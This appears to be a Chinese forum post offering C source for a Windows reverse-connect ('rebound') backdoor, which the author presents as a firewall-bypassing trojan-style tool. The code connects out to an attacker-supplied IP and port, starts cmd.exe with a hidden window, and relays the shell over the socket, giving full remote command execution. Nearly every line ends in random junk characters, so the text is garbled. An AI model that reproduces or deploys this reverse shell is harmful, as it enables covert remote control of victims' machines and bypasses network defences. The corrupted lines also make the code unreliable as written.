这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U` HY
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Rebound port in Windows NT q*`
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By wind,2006/7 qQG? k~r
===============================*/ ~u2f`67{
#include n*na6rV\k
#include
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#pragma comment(lib,"wsock32.lib") nXoDI1<[
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void OutputShell(); S7nx4c2xK~
SOCKET sClient; 'VCuMCV
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ryh"/lu[B
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void main(int argc,char **argv) Wkjp:`(-$r
{ .Wy'
WSADATA stWsaData; PuGs%{$(h
int nRet; f+n {9Hz
SOCKADDR_IN stSaiClient,stSaiServer; ~wv$uL8y
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if(argc != 3) NFx%e
{ -)')PV_+
printf("Useage:\n\rRebound DestIP DestPort\n"); 0zSz[;A
return; NW`.7'aWT
} ,(K-;Id4
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WSAStartup(MAKEWORD(2,2),&stWsaData); at@tS>Dv
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (B\
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stSaiClient.sin_family = AF_INET; aEIz,^3
stSaiClient.sin_port = htons(0); JJ_Z{
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~S;-sxoO0l
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gH'hA'
{ jI*@&3
printf("Bind Socket Failed!\n"); wS#Uw_[
return; 6fo"k+S
} w(S~}'Sg*P
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stSaiServer.sin_family = AF_INET; e"eIQI|N
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :}Yk0*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 37a1O>A
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rM
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{ C`kqsK
printf("Connect Error!"); ~//E'V-
return;
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} Qr3!6
OutputShell(); 9cP{u$
} Q*ELMib
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void OutputShell() ,
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{ s=jYQ5nv
char szBuff[1024]; $9Bzq_!
SECURITY_ATTRIBUTES stSecurityAttributes; i({\fb|0
OSVERSIONINFO stOsversionInfo; !'F1Ht
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; md'wre3
STARTUPINFO stStartupInfo; a@W9\b@I
char *szShell; \ Voly
PROCESS_INFORMATION stProcessInformation; 0q-lyVZ^X
unsigned long lBytesRead; 7>O`UT<t4@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }kvix{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8_HBcZWs
stSecurityAttributes.lpSecurityDescriptor = 0; Nr2,m"R{
stSecurityAttributes.bInheritHandle = TRUE; F9K0
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SF-"3M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cRrJZ9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s<!G2~T
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w[gt9]}N
stStartupInfo.wShowWindow = SW_HIDE; ;iKtv+"
stStartupInfo.hStdInput = hReadPipe; fv8x7l7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @XzfuuE]
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GetVersionEx(&stOsversionInfo); SQ[D2v
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switch(stOsversionInfo.dwPlatformId) lD[@D9
{ @U5gxK*
case 1: 9]IZ3
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szShell = "command.com"; z!bT^_Cc0
break; hwXsfh |
default: dB4ifeT]
szShell = "cmd.exe"; -A
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break; mL`8COA
} ,IboPh&Q78
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]j/=
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send(sClient,szMsg,77,0); :g63*d+/G
while(1) 67Pmnad
{ Lv%t*s2$/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E#(e2Z=
if(lBytesRead) 4uoZw3O
{ QH(&Cu,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); eu$VKLY*
send(sClient,szBuff,lBytesRead,0); ^\O*e)#*
} Y"8@\73(R
else mm:TR?^
{ )Wq1af
lBytesRead=recv(sClient,szBuff,1024,0); ^il$t]X5-
if(lBytesRead<=0) break; :h34mNU
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v {HF}L
} CS~onf<xz
} =Vs?=|r
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return; m-Jy
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}